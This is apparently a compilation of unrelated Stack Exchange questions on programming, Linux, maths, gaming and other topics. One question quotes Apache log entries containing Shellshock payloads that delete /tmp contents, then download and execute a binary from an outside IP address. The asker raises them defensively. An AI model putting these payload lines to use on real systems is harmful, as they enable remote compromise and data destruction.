List or better Algorithm for random C# - Unity

I am working with C# in Unity3D (2018.3.0f2) and I need to create a random function with multiple outcomes and multiple parameters. Is there any better way? Mine works, but I would like to have it in a list and if possible shorter.  float rndFloat = Random.value;  if      (rndFloat <  0.33f)  occlusionTime = 0.3f; else if (rndFloat >= 0.33f && rndFloat < 0.66f) occlusionTime = 0.7f; else                                            occlusionTime = 1.1f;  rndFloat = Random.value;  if (rndFloat < 0.25f) {     BallEnd.transform.position = EndPositions[0];     endPosPixelCoords = EndPositionsPixel[0]; }  if (rndFloat >= 0.25f && rndFloat < 0.5f) {     BallEnd.transform.position = EndPositions[1];     endPosPixelCoords = EndPositionsPixel[1]; }  if (rndFloat >= 0.5f && rndFloat < 0.75f) {     BallEnd.transform.position = EndPositions[2];     endPosPixelCoords = EndPositionsPixel[2]; }  if (rndFloat >= 0.75f) {     BallEnd.transform.position = EndPositions[3];     endPosPixelCoords = EndPositionsPixel[3]; }


In the PHB, on page 193, the Use an Object action is described:     Use an Object      You normally interact with an object while doing something else, such as when you draw a sword as part of an attack. When an object requires your action for its use, you take the Use an Object action. This action is also useful when you want to interact with more than one object on your turn   But what exactly is considered an object?  More specifically:  Is an arrow an object? Are weapons, armors, and shields objects?


Kernel 4.15.0-118 causing kernel panic on Kubuntu 18.04?

It looks like the 4.15.0-118 is causing a kernel panic during boot on my machine (Alienware 15 R3 from Dell). Booting with the previous kernel works. Last line in the output I get when attempting to boot with the new kernel is: ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) Maybe it has something to do with my partition encryption with LUKS (I have a Windows partition, and a LUKS partition)? I tried following  and went to Launchpad, but couldn't figure out how to file a bug there... Does anybody else have the problem? I tried solving it temporarily by  (without me going through advance boot options when I turn on the machine). But it doesn't seem to work for me.


What is the distribution of $R^2$ in linear regression under the null hypothesis? Why is its mode not at zero when $k>3$?

What is the distribution of the coefficient of determination, or R squared, $R^2$, in linear univariate multiple regression under the null hypothesis $H_0:\beta=0$?  How does it depend on the number of predictors $k$ and number of samples $n>k$? Is there a closed-form expression for the mode of this distribution?  In particular, I have a feeling that for simple regression (with one predictor $x$) this distribution has mode at zero, but for multiple regression the mode is at a non-zero positive value. If this is indeed true, is there an intuitive explanation of this "phase transition"?    Update  As @Alecos showed below, the distribution indeed peaks at zero when $k=2$ and $k=3$ and not at zero when $k>3$. I feel that there should be a geometrical view on this phase transition. Consider geometrical view of OLS: $\mathbf y$ is a vector in $\mathbb R^n$, $\mathbf X$ defines a $k$-dimensional subspace there. OLS amounts to projecting $\mathbf y$ onto this subspace, and $R^2$ is squared cosine of the angle between $\mathbf y$ and its projection $\hat{\mathbf y}$.  Now, from @Alecos's answer it follows that if all vectors are random, then the probability distribution of this angle will peak at $90^\circ$ for $k=2$ and $k=3$, but will have a mode at some other value $<90^\circ$ for $k>3$. Why?!    Update 2: I am accepting @Alecos'es answer, but still have a feeling that I am missing some important insight here. If anybody ever suggests any other (geometrical or not) view on this phenomenon that would make it "obvious", I will be happy to offer a bounty.


I have tried searching stack exchange with a combination of two tags, for example [word] [excel], but the actual search defaults to just the first tag. In this case, only [word].  How do I search with multiple tags?  Edit: From the official FAQ, it sounds like you can search with multiple tags:  I just can't get this to work on desktop (chrome, ie11, windows 7)  Edit 2: this a is a duplicate of the below question. I was searching on a work computer while not logged on:


Is there evidence that adding salt to water prior to boiling can damage a stainless steel pan?

In the context of boiling water for pasta or other purposes, all over the Internet the advise is oft-repeated that salt should not be added to the water when it is cold in order to prevent damage to the pot such as pitting over long term use.  The reasoning is that the salt stays on the bottom of the pot for longer without dissolving, and has a chance to interact with the surface metal.  Is there any objective evidence--preferably scientifically based--that this phenomenon actually occurs in practical kitchen-type conditions, or is this another piece of common wisdom that is often shared but not backed by evidence, much like  common wisdom that it is necessary to use very large volumes of water to cook pasta?


Merging Home Directories Breaks Readline/.bashrc

Over the last few days, I merged a home directory from a working install of 12.04 to an old home directory, I believe from an install of 10.04 (it was a bare driv)   I got the new drive to load and mount properly, but when I try and use the .bashrc entries from the 12.04 installation, things like the following alias:   alias banana='echo banana'   It produces the following errors:   -bash: $'\r': command not found -bash: $'\r': command not found -bash: $'\r': command not found : invalid shell option name -bash: $'\r': command not found -bash: $'\r': command not found : invalid shell option name -bash: $'\r': command not found -bash: $'\r': command not found -bash: $'\r': command not found -bash: $'\r': command not found -bash: .bashrc: line 36: syntax error near unexpected token `$'in\r'' 'bash: .bashrc: line 36: `case "$TERM" in   I can't find the text that is being referenced in that .bashrc file (it only works when I copy it from /etc/skel, and even then, after adding the alias and sourcing, then removing the alias and sourcing, it still produces the errors. The only way to get Bash working again is to re-copy the file from /etc/skel  It looks like I can't make any alterations to .bashrc without causing these errors. I suspect that it has something to do with readline or .inputrc, which were also having problems (though these seem to be resolved now). As of right now, there's no .inputrc in the /home/user directory.   Thanks for any help you can give!


How to join end nodes of different paths in Inkscape?

I've been working recently on 3D printing TSP maps. I've included a pretty simple sample right here:  The issue is that when I try to manipulate this figure, it recognizes it as 25 separate sections. I thought that there may have been some node limit per object, but as it turns out, some of the sections were not properly joined (I only discovered this around 25000% zoom)  The end node shown is in the EXACT same position as the end node of the adjacent object not highlighted, but they are definitely different. (I can move each independently) I don't know how to join them, and the research I've done hasn't yielded much...I don't mind fixing it, but I don't know how.


Effective way to deal with misuse of mobile devices in class

I'm at a North American, state-run university (not an elite institution), which is relatively modern in terms of supporting mobile devices. The school is proud of its WiFi coverage in every classroom, and recently rooms were updated to have electrical outlets at every student's seat (even in auditoriums), so they can charge their devices. All courses are three-hour periods, once a week.  This mobile-friendly environment is great when integrating mobile technologies in class. I make use of  (real-time quizzes), the students can follow the PDF lecture notes and/or electronic copies of texts, take notes on their laptops, look things up on the web when I ask questions or when they do exercises, etc.   However, it makes for a challenge during courses when students use these devices in distracting ways. Definitions of "misuse" are situational, but for this question, I'll call it any use that detracts from a healthy learning environment. Concrete examples include watching a video or playing a game on a laptop (distracting neighboring students), texting, using Facebook rather than working an exercise in group, etc.  Laptops and smart phones in class are not new; in the past I was able to deal with their "misuse" relatively easily. A student would be easily embarrassed and close his laptop if you called him out when you saw that 5 students around him were all looking at his screen and smiling. I ask a lot of questions during my classes, so I could "pick on" students who caused disruptions with their mobile device (or otherwise). Drawing attention to one student in large groups is an effective way to change behavior, usually.  However, last semester was more difficult than ever, with 40+ students in an newly-electrified auditorium. During one class interruptions occurred 3 times, and I had to talk to offending students during the break about it. During the mid-term, I had one student argue with me at the start because he wanted to keep charging his iPhone at his desk in front of him. He insisted he wasn't going to use it during the exam to cheat, but I cited the policy barring mobile devices during exams and mentioned he'd have to explain that to a discipline committee - he complied. Needless to say, those "correctional" situations don't win points for the professor in the course evaluation. On the other hand, I learned that if I don't intervene (early in my career I would ignore these behaviors), students who feel distracted will complain during evaluations (most are too shy to say something during the semester).  The solution it seems is to add yet another item in my already lengthy syllabus and explain the desired behavior during the first lecture. My school has no official policy as far as I know regarding mobile device use, apart from an IT security policy that doesn't address the distraction issues. I did some searching on the web and found that some schools have policies, e.g. . What is not clear is how effective the policies are in large classrooms, how easy they are to enforce without becoming the "text police", how well they work in non-elite universities, etc.   I contrast all this with the fact that my students almost never misuse the "phone" part of their devices (they don't ring during lectures and they don't talk on them except at the breaks). None of that is in my course plan and I never have to explain it at the start of the semester or take action.   So, how to reduce misuse of mobile devices in large classes while maintaining a friendly atmosphere?  EDIT see this  for the students' perspective of the problem, and why it's not like other classic forms of distraction. In the conclusion, they state it could be useful for institutions to define policies about proper behavior in the classroom regarding mobile devices.


What do I look at when I view a JPG image in a text editor?

I am not knowledgeable of Image file formats or even compression. I opened up a JPG image file in a text editor and I saw gibberish. Not zero and one gibberish. Or even numbers from 0 to 256 gibberish. I saw so many different characters. To name a few: ¡jÑœ¥îŸàöÐÊ½ì™ÑOø~w;6Œb¿àºVËwÿ ö  Do I see these characters instead of integers because the JPG format is compressed and I am not reading bits per pixel when I look at a JPG? Also, how many characters are available for writing in a JPG file? Is it all available ASCII characters?


I was doing the last quest for the blades, and I had to go talk to Paratharax at the throat of the world. I decided not to kill Paratharax until I finished the all the Greybeards quests.   I decided to take a shortcut down the side of the mountain, riding Shadowmere, and we fell. Shadowmere died. I fast travelled to Whiterun, waited 10 days, and went back to where he died, but he still wasn't there.   I went back to doing quests. I know its been at least 100 days since he died, and I saw on here that you have to wait 15-20 days, so I'm wondering if it has been too long.   If he did, where would he respawn? On the top of the Throat of the world, down the side of the mountain where he died, or at the position he came to rest?


Computing $\int\limits_{-\pi/2}^{\pi/2} \cos(\tan x)\,dx$

How to compute $\int\limits_{-\pi/2}^{\pi/2} \cos(\tan x)\,dx$?   I tried the usual Riemann integral method but could not figure out and thought of contour integral and seemed working. But whenever I tried to find the residue at the essential singularity of $f(z)=\cos (\tan z)$ at $\frac{\pm \pi}{2}$, I got stuck there.


Prove T is onto iff $T^t$ is one-to-one.

Let $V$ and $W$ be two non-trivial vector spaces over ${\displaystyle \mathbb {F}}$ and let $T: V\rightarrow W$ be a linear transformation. Prove that $T$ is onto iff $T^t$ is one-to-one. Now the only thing I know is that when T is onto if $\operatorname{range}(T) = W$ and it is $1:1$ when $\mathrm{Nullity} = 0$. I don't understand how to even start this question. If someone could give a hint at least, that would help me get started. (A similar question is already available on Stack Exchange but I could not understand the solution it had)


Given a (not necessarily finite dimensional) vector space $V$ prove that the center of $\operatorname{GL}(V)$ is the set of all scalar transformations (i.e all transformations of the form $a\operatorname{Id}$)?   I know how to prove this for general linear group of degree $n$, please help me solve this for the case of a general linear map.


I cooked chicken and made up enchilada with sour cream and the green sauce and made extra. How many days can I keep them in the refrigerator before reheating?


Let $\sigma \in S_n \;$ then $\; \sum_{i=1}^n|\sigma(i)-i|\;$ is an even number. I tried to show the statement for cyclic permutations first. However, I am not getting anywhere. The statement is trivial for transposition $(k,l)$. That´s all what I have found out so far. Can someone give me a hint why the statement is in fact true for any cyclic permutation ?


General term of Taylor Series of $\sin x$ centered at $\pi/4$

What is the general term for a Taylor series of $\sin(x)$ centered at $\pi/4$?  It should be $(-1)^{[??]} \times \sqrt{2}/2 \times \frac{(x-\pi/4)^n}{n!}$  What power is $(-1)$ supposed to be raised to?


How to check if array element is substring of string in Bash

question does not answer my question. I have a script that checks the existence of specific environment variables and prints them with their values. Now I want to mask the values of password variables (containing SECRET, PW, PASSWORD, KEY in its name, e.g. CLIENT_SECRET) with ****. Currently I have a script like this: expected_env_vars=("CLIENT_ID" "CLIENT_SECRET" "BACKEND_KEY" "BACKEND_NAME")  suppress_env_vars_with_substring=("SECRET" "PASSWORD" "PW" "KEY")  for env_var in "${expected_env_vars[@]}"; do   if [[ -z "${!env_var}" ]]; then     echo "Environment variable \"$env_var\" not defined"     exit 1   else     # Perform check if an element of $suppress_env_vars_with_substring is substring of $env_var     echo "$env_var=${!env_var}...OK"   fi done  Question  How to check if an array element is substring of a string?


Resume from hibernation (pm-hibernate) randomly reboots

I'm using Ubuntu 14.04 with Gnome as primary window manager (not Ubuntu Gnome, just installed Gnome after Ubuntu). I often tend to use pm-hibernate to get into hibernation, but when I boot again the resume sometimes, but not always, fails and the computer reboots. At the second boot, the GRUB bootloader screen won't countdown the timer anymore and it will wait for my input. I'd really like to analyze why this is happening, but I don't even know in which log file to look for "resume errors" or where to start. Can you give me a hint on this?  About a year ago it all worked very well, but suddenly (I don't know when exactly) that all started and I don't know what I have changed to make this happen.  Kind regards,  Daniel


When should "no problem" replace "you're welcome" as a response to "thank you"?

I have observed a growing trend in which people substitute "no problem" for "you're welcome" as a response to "thank you".  In particular, it seems to be an increasingly common response from servers and store clerks.  It seems to me that "no problem" isn't appropriate for all situations as a response to "thank you", such as when I express thanks for receiving a cup of coffee at the local doughnut shoppe.  To me, responding "no problem" to "thank you" implies there might have been a problem, which was somehow narrowly averted.  Are there specific situations in which "no problem" is appropriate to use as a substitute for "you're welcome"?


Meta Stack Exchange "return to main site" goes to Stack Overflow

On the new Meta Stack Exchange, if I select help from the top of the screen, the Return to the main site link goes to Stack Overflow, and the text says, "Back to Stack Overflow".  Shouldn't this say "Back to Stack Exchange" and link back to ?


Is there a way to learn someone's level in game in DnD3.x?

Is there a way to learn someone's level in-game in DnD3.x? (...or possibly Pathfinder?)  Wait, I know, levels are an abstraction and a game mechanism, and should not come into play in-game. Yet, there are tell-tale signs: abilities that you gain only at a certain... level, and then there are the spells, your resilience, etc.  Should I want to run a game in which levels are somewhat more explicit (for example, a world inspired by Terry Pratchett's Discworld, where wizards do have and know of levels (of spells and spellcasting ability, at least, afaik)), what ways would the official systems provide, if any, to determine someone's level in-game? Are there any methods to discern such information, as a character (be it a player character or an NPC), within the world? '"He's a wizard of the seventeenth level," the prince said. "I wouldn't mess with him, if I were you."'


Can a particle moving below the speed of light be accelerated more and more until it is travelling at say c/2? IF so does it behave like electro-magnetic radiation?


Should I worry about requests that get - client denied by server configuration, apache logs

I have a server with debian 7. I was checking the apache error log file and saw a few lines like this  [Fri Mar 20 04:56:48 2015] [error] [client 222.66.95.253] client denied by server configuration: /home/username/www/, referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-bbce >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-bbce >> /tmp/Run.sh;echo /tmp/China.Z-bbce >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh"  [Mon Mar 16 16:58:15 2015] [error] [client 210.35.74.116] client denied by server configuration: /home/username/www/, referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.180.31.43:9574/xudpASD -O /tmp/China.Z-wwyy\xb0 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-wwyy\xb0 >> /tmp/Run.sh;echo /tmp/China.Z-wwyy\xb0 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh"   I might be mistaken, but because of this part () { :; }; I think someone was trying to use the  bug.   But independent from whether this is shellshock or not, the question is - if I have lines in logs with message   client denied by server configuration   is this smth that I should worry about, or because the request was declined I can ignore it - being sure that no malicious scripts were downloaded/executed ?


How do I uninstall Unity 8 from my desktop computer?

Since , how do I uninstall it from my desktop system?  (Please note: This question is not about Unity 7, which is still supported at the time of this writing and should remain installed if present.)


Passport not stamped on arrival at Melbourne Airport

I have an Indian passport and, although I didn't use the smart gates for immigration, my passport wasn't stamped when I arrived at Melbourne Airport.  Is this a cause for concern or should I contact the immigration department to get the passport stamped?


I am having a problem with a vertex that I move to 0 along the x axis, but it is not appearing to be on the axis like it should.  See the screenshot below. I am in top view, and the selected vertex is clearly set to 0 in the in the transform tab. However, it appears at all angles to be to the left of the grid floor which it should be on top of.


I removed another Mac's HD and reformatted it on disk utility, now it just shows blinking folder

So I removed a 2015 Macbook Air's HD from the computer and then using an OWC tool, I plugged it into my Macbook Pro and then erased it completely using Disk Utility. When I plugged it back into the Macbook Air, it goes dark and shows a blinking folder with a question mark. How can I fix this? I can't find any info online with this... I have Mac OS Mojave


How does Dragon Hide interact with monk AC?

Before I begin let me preface this with the following: I understand that mechanically speaking the barbarian and Monk armor classes are calculated 10 + Dex mod + Wis/Con depending on the class played. My conundrum is this: One of my players is playing a Dragon Born Monk who just got to level 4, He has decided on  taking the racial feat Dragon Hide. The feat reads as:  You manifest scales and claws reminiscent of your draconic ancestors. You gain the following benefits: Your scales harden. While you aren't wearing armor, you can calculate your AC as 13 + your Dexterity modifier. You can use a shield and still gain this benefit.  Now the question: As monk uses Wisdom and Dexterity to calculate AC and as they don't wear armor or use shields anyway, is this just adding a +3 Natural Armor bonus to his base AC? I have seen some debate go back and forth saying that this would be legal while others are claiming that by taking the feat he is actually changing how his AC is calculated. Rather than the feat adding Natural Armor to his base AC. So the second part of the question is: If this is something doesn't work Would this be game breaking in someway? As it stands right now from my perspective I would have to say I am leaning slightly on the side of allowing it due to the nature of how he got the bonus. First he had to take the feat at 4th instead of an attribute increase, Second it does not clash with the concept of the monk who uses insight and agility to deflect/dodge incoming attacks, adding scales doesn't make one less insightful or less dexterous. But I am posting this because I am still on the fence. Please and than you for your insights.


Homotopy equivalence gives the mapping cone null homotopic?

Let $\mathcal{A}$ be an additive category. And let $C(\mathcal{A})$ be the category of the chain complexes. Now let $f:X_* \rightarrow Y_*$ be a chain map in $C(\mathcal{A})$ and $C(f)$ be its mapping cone. As we've already known, there's a proposition:     If $C(f)$ is contractible, then $f:X_* \rightarrow Y_*$ is a homotopy equivalence.   My question: Is the inverse problem true? To be explicitly, if $f:X_* \rightarrow Y_*$ is a homotopy equivalence, then does $C(f)$ necessarily to be contractible? I guess that this is not true in general for a part of the proof of the proposition doesn't holds conversely. Am I right? If I'm right, is there any counterexample? Thanks in advance.


What is the advantage of Encrypt-then-MAC over Encrypt & MAC separately the plaintext

For secrecy, authentication & integrity, you can either use  CipherText = Encrypt(PlainText) Signature  = Hash(PlainText)  CipherText = Encrypt(PlainText) Signature  = Hash(CipherText)   Either case, you send both CipherText & Signature to the receiver. What is the advantage of one method over the other? Does it differ in case of Symmetric vs Asymmetric Encryption?


How to lock a MacBook Pro (Touch Bar version) with a short cut key?

I used to lock my MacBook Air by Shitt-Control-Eject shortcut key. After replacing the Air with a Touch Bar MacBook Pro, there is no Eject key anymore.   How can I lock it with a shortcut key?


Converting .mov files to .mp4 using FFmpeg

The conversion answers that I have seen on the web suggest using a -c option in the command line using FFmpeg.  However using Ubuntu 14.04 the -c option does not exist in FFmpeg version SVN-r0.5.1-4:0.5.1-1ubuntu1.  Is there a newer version? If so how can I get it. Using apt-get it says that this is the newest version.


QGIS, shifting text somewhere inside the map

Could someone help me how do I shift text level somewhere inside the map area where I find some comfortable space and insert an arrow to understand what is the label for.


Can the heat given to a thermodynamic system decrease the temperature of the system,I.e. specific heat capacity can be negative

I am confused as it is written that sometimes it is true to say that heat given to a body can decrease its temperature.


How can I save / access credentials in credential manager from a remote machine?

I have to save credentials using a service account onto a remote machine and also should be able to access the credentials from remote machine using the service credentials.  I have tried using credman.ps1 script not able to do it.  Is there a way that I can do this using cmdkey exe I can execute the same script from my c# code


I want my Ubuntu server 18.04 to shutdown every night at a certain time? How can I do this?

Hello I just setup a ubuntu server running samba and I want it to shut down every night at 11PM.   I'm using this command in crontab 30 9    * * *   root   shutdown -h now   but its not running the command at the desired time.   Thanks in advance!


Intersection of lines $y = mx$ and $y = mx+c$ in projective geometry.

I'm trying to solve the following problem:     Embed $\mathbb{R^2}$ in the projective plane $\mathbb{RP^2}$ by the map $(x,y)\rightarrow [1,x,y]$. Find the point of intersection in $\mathbb{RP^2}$ of the projective lines corresponding to the parallel lines $y = mx$ and $y = mx+c$ in $\mathbb{R^2}$.    So in the projective plane the two lines correspond to $[1,x,mx]$ and $[1,x,mx+c]$I get that somehow the point of intersection is the point at infinity, but that point would have coordinates $[0,1,m]$ and that doesn't fall on our line. So I'm not sure I understand how this works


How to add or replace album art in rhythmbox?

Is there a way to add custom album art to a song or replace album album art of a song in rhythmbox.


Can one infer independence by simple reasoning/intuition?

From my recent experience in probability, it feels as though independence is something we "discover" from the system via the equation:   $$P(A)*P(B)=P(A\cap B)$$  Could one ever conclude independence from the "system" by intuition? Is it wise to conclude independence for events that are "seemingly" independent? What would be some interesting examples where this would fail.


Where is the update to 14.04.1 in update-manager?

I am not looking for a workaround or a hack.  I am just confused.  14.04.1 has been released now for a week, and one of my machines which is on 12.04, and another one which is on 14.04 both don't have the upgrade options.  I see there is a 14.04.5 release on august 7th but I am not sure what a candence event is.    It is hard to believe that it is not an issue that is going to be resolved otherwise I would hope this would be posted on the Ubuntu blog.  I cant be the only one on the last LTS waiting for it to update so I can finally go to the latest kernel and properly use my core i7 graphics.


need help with solid color layer on photoshop

I'm trying to change the color of my typeface on photoshop so i selected  solid color layer and set the blend mode to color but the color of the   typeface didn't change as the color i selected but only the outline of typeface.  how do i change the color of the typeface clearly with the solid color just like the picture below? (done by someone else)


How to create Live Windows PE on USB from Windows 10?

I want to create bootable live Windows PE on USB stick.  I want to create it from Windows 10 installation i have.  I wonder, how can i achive that? Any instructions? Is there any special software for this?


How to delete a non-empty directory in Terminal?

How do I delete the following directory?  I typed:  rmdir lampp   This error comes up:  rmdir: failed to remove `lampp': Directory not empty   Is there a command to delete all the files in the directory and delete the directory folder?


Eclipse Kepler crashes without any log entry

I'm using Ubuntu 13.10 Saucy Salamander 64bit and Eclipse Kepler 64bit terminates after some random time without response. The windows simply disappears.  There's also no entry about the crash in .metadata/.log


This is a simple question, How do I make something like this in Blender?  I already did the flying sparks but I cant seem to recreate this part right here... It seems to be a very intense fiery glow but I dont know how to do it.


Can open sets and closed sets of $\mathbb{R}^n$ be homeomorphic?

Suppose $A$ is an open subset of $\mathbb{R}^n$ considered as a topological subspace. Suppose $B$ is a another susbet of $\mathbb{R}^n$, and under the induced topology, is homeomorphic to $A$.  If $B$ is closed and bounded, then by the Heine-Borel theorem, $B$ is compact as a topological space so $A$ and $B$ cannot be homeomorhpic, because $A$ is not compact. But if $B$ is not bounded, what can be said about $B$, if any? Must $B$ be open, can it ever be closed (let's leave out the only case of being both open and closed--the entire ambient space $\mathbb{R}^n$), or can it be neither open nor closed?


How can an int be cast to an enum in C#?


Why does apt-get install python3 with a trailing hyphen remove a lot of packages?

While is was installing something with the sudo apt-get install command I accidentally accepted the command   sudo apt-get install python3-   (yeah I know it is stupid to just accept this but I did a lot of those and i just continued to click y).  By executing the command I deleted my whole visual desktop of Ubuntu (I just had the plain shell but I recovered the visual desktop by now). I don't know if I am just stupid but nevertheless I want to create awareness that you shouldn't use the command.  If you can explain to me why happened what happened feel free to explain it to me.


I keep getting the System.NullPointerException: Attempt to de-reference a null object on my trigger at line 21. I've attempted to add != null to that line and I get an error too. Please see the code below.  trigger UpdateDMAAccount on Account (before insert, before update) { //get set of Postal Codes from leads to be inserted or updated Set<String> BillingpostalCodes = new Set<String>(); for(Account l : trigger.new){ if(l.BillingPostalCode != null){     BillingpostalCodes.add(l.BillingPostalCode);  } } if(BillingpostalCodes.size() > 0){ //create Map of custom object records with Name (PostalCode) as key Map<String,DMA_Value__c> validBillingPostalCode = new Map<String,DMA_Value__c>(); for(DMA_Value__c obj : [SELECT Id, Name, DMA_Value__c FROM DMA_Value__c WHERE Name IN :BillingpostalCodes]){     validBillingPostalCode.put(obj.Name,obj); } for(Account l : trigger.new){     if((Trigger.isInsert || trigger.oldMap.get(l.Id).BillingPostalCode != l.BillingPostalCode) && validBillingPostalCode.containsKey(l.BillingPostalCode)){          l.DMA__c = validBillingPostalCode.get(l.BillingPostalCode).DMA_Value__c;     }     else if(trigger.oldMap.get(l.Id).BillingPostalCode != NULL || l.BillingPostalCode && !validBillingPostalCode.containsKey(l.BillingPostalCode)){         //blank value if new PostalCode does not match a record in the Map         l.DMA__c = Null;     }   }  } }


Exclamation marks in bash command arguments

If I type the following command in Bash:  echo "dog!!"   I don't get the string dog!!. Instead I get something else.  I tried to echo the string "dog!!" by echoing "dog\!\!, but it doesn’t work either.  How can I use command arguments when there are two exclamation marks?  I want these exclamation marks to be treated as exclamation marks without any special function.  Two exclamation marks "!!" seem to be the last command.


How to flow a marginpar that does not fit to next page (or: how to write text with lots of margin notes)?

I analyse an interview transcript and would like to add plenty of notes in the margin. Sometimes these margin notes will not fit on the current page, and thus I would like them to flow to the next page. The marginfix package is supposed to fix this, but obviosly I have too many marginpars and LaTeX runs out of memory ("LaTeX Error: Too many unprocessed floats.").  I have now searched StackExchange (and Google) in vain; thus I ask the masterminds of LaTeX if a solution is possible?


Library functions not found when compiling Ubuntu 20.04

I have my own library with some basic functions inside which I compile using ar rcs *a few .o files* Now I'm in a project where I have to use this library the code is basic : #include "libft.h"  int main() {     ft_putstr_fd("test", 1);     return (0); }  I create the binary file using this command clang -fsanitize=address -ILIBFT/includes/ -c test.c -o test.o And when trying to make the final executable file I get this and I don't understand why... Does it have something to do with the fact that I'm using Ubuntu 20.04 ? Here's the command when I create the executable file clang -fsanitize=address -ILIBFT/includes/ -L LIBFT -lft -o test test.o  And here's the output : /usr/bin/ld: test.o: in function `main': test.c:(.text+0x1f): undefined reference to `ft_putstr_fd' clang: error: linker command failed with exit code 1 (use -v to see invocation)  The function does is defined in libft.h as it works on my school's iMac. Thanks for your help.


Removing for loops ladder in generator (yield), Python 2.7

Newbie here. Writing function that prints out all the subsets of a set using generator (yield statement). The problem is, I cannot make it so that it uses yield and works for sets of all lenghts, not only three, like in my code below. I can make it work for 4 and 5 obviously, but the ladder gets bigger, which is just ridiculous, let alone pythonic and elegant.  ABC = ['a', 'b', 'c']  def subsets(group):     for i in [group[0], []]:         for j in [group[1], []]:             for k in [group[2], []]:                 yield filter(None, [i, j, k])  for element in subsets(ABC):     print element   The output (for this 3-item list) should  be:  ['a', 'b', 'c'] ['a', 'b'] ['a', 'c'] ['a'] ['b', 'c'] ['b'] ['c'] []


Accidentally sprayed water on desktop computer monitor

I was drinking water while watching something and something funny happened and I spit water all over my monitor, which is one used for desktops. "Nothing" happened instantly but I quickly dried it with a towel and then I used paper towel to make sure it was (seemingly) dry. I used my fingernail with the paper towel to see if anything got into the casing at the bottom. It was a bit wet but now it seems dry (or at least the paper isn't wet anymore) It turns on and off and it seems okay. I've done it a few times and nothing seems wrong, at least in this first 1/2 hour. I know nothing will ease my paranoia, but am I okay? Or should I start saving up for a new monitor or repairs?


Mathematical expression for $n$ largest values in a set

I would like to know how to express mathematically  $n$ largest values of a given set $A$.   For example: I have an unsorted set $A$ with $100$ values $\in \mathbb{N}$ and want to get a new set $B$ with the $5$ largest values.  Thank you in advance!


A doubt regarding Planck's quantum theory

I am a beginner and I have a problem regarding Planck's Quantum Theory  The following is one of the postulate of Planck's Quantum Theory  1) The energy of each quantum is directly proportional to frequency of radiation.   Q.) What is the sense of the word "frequency" here, despite the fact that Planck's Quantum theory contradicts wave nature of Electromagnetic radiations? (Since, Frequency is defined for waves).


Etymology and pronunciation of arch-, archi-

The prefix  “chief, principal; extreme, ultra; early, primitive,” derives from Latinized Greek arkh-, arkhi-, the combining form of arkhos “chief.” Usually, arch- is pronounced like “arch” (ɑrtʃ), and archi- sounds like “ark” (ɑrkɪ), although archangel (ɑrkeɪndʒəl) is a notable exception.  Is there an etymological or other reason for pronouncing the two prefixes differently? Did they perhaps enter English at different times? Likewise, is there any pattern to which nouns use arch- (e.g., archenemy, archfiend) versus archi- (archiepiscopal, architect)? Why is archangel an exception to the pronunciation rule?


How can I search for posts with special characters, like "${^MATCH}"?

How can I search for posts with special characters, like ${^MATCH}? Using quotes doesn’t work.


If $\sin A + \cos A + \tan A + \cot A + \sec A + \csc A = 7$ then $x^2 - 44x - 36 = 0$ holds for $x=\sin 2A$

If  $$\sin A + \cos A + \tan A + \cot A + \sec A + \csc A = 7$$ then prove that  $$\sin 2A \quad\text{ is a root of }\quad x^2 - 44x - 36 = 0$$  I have no idea how to solve it. Plz help.


How to put a picture to the top right of a page?

I have written in TeX the following:  \section{A} ... somethingA ...  \begin{picture}(100, 100)(-250, -110) \includegraphics[scale=1]{face.png} \end{picture}  \section{B} ... somethingB ...   I have put specific parameters in picture (-250, -110) so that the picture is added in the top right of the created page. Although this works just fine, face.png appears where I want it, the problem is that there is a big gap between somethingA and somethingB. So I have something like this in the created document:  ... somethingA ...      ... somethingB ...   Any ideas how to solve this?


What are the odds of having all 4 of your children (no multiples) on the same day of the week?

(retrying my phrasing)  What are the odds of having 4 (and only 4) naturally conceived, naturally birthed, singleton children (with the same and only mate) on a given day of the week (ie, Wednesday)?  Equations with explanations appreciated. Thanks


Removing my Facebook login and creating a Stack Exchange login

I've been looking into removing my Facebook (my only login) from my Stack Exchange networks accounts. I believe I've got a vague understanding of the correct way to do this from poking around, but I haven't been able to confirm this via the questions/answers I've looked at.  If I understand correctly, I need to do the following:   Create a new Stack Exchange account Link this as a login to my current account Remove Facebook from my list of logins   Will this have any ill effect? Will my sign-up date be shown differently, rep be affected, display name change, etc?


How do i automatically clear the terminal in VSCode before execution of script?

I am currently using  VS Code to learn Python . So i have to run scripts like 10-15 times a minute , just doing small edits and learning all things. I am running the scripts in integrated terminal of VS code So apparently the terminal gets horribly cluttered and i have to always clear the terminal manually by running clear, I want the terminal to automatically get cleared every time I execute the Python script . Please note that I am not looking for a keyboard shortcut to clear terminal , rather I need the terminal to automatically clear the old output before displaying the output of the present script. I couldn't find anything that does this , hopefully someone can provide a way out


I'm new to Ubuntu and I need a command line to follow a tutorial. How to do this?  I already tried searching for cmd but failed. Any one knows?  Please help me.


Assuming we count Superman's age as the age of Clark Kent in Earth Years, how does his age compare to Bruce Wayne in-universe?  Any answers are preferred to be from the same continuity if possible; but absent that cross-continuity answers are OK if less desirable.


If gravitational radiation (or anything) cannot escape a black hole, how can it produce redshift or curve spacetime?

There is an apparent paradox in a Black hole. Keenan Pepper :     Electromagnetic radiation cannot escape a black hole, because it travels at the speed of light. Similarly, gravitational radiation cannot escape a black hole either, because it too travels at the speed of light.   If this is true, then evidently a BH cannot exert a pull at the centre of a Galaxy, neither it can suck off the energy out of light trying to excape from it , etc?  EDIT: should I ask a new question about this? @John Rennie, saying that gravity is curvature, seems like shifting the problem (,like saying that electrostatic pull is the electric field). Relativity says that mass curves spacetime, but that supposes interaction. How can spacetime know that a BH is there, if it cannot communicate? a planet modifies surrounding spacetime in some way, and that , in its turn, affects bodies and light. The question now becomes: how does a BH acts on surrounding spacetime to make it curve, since nothing can excape it, except Hawkings radiation?


Find and rename files (including directories) whose filenames contain space

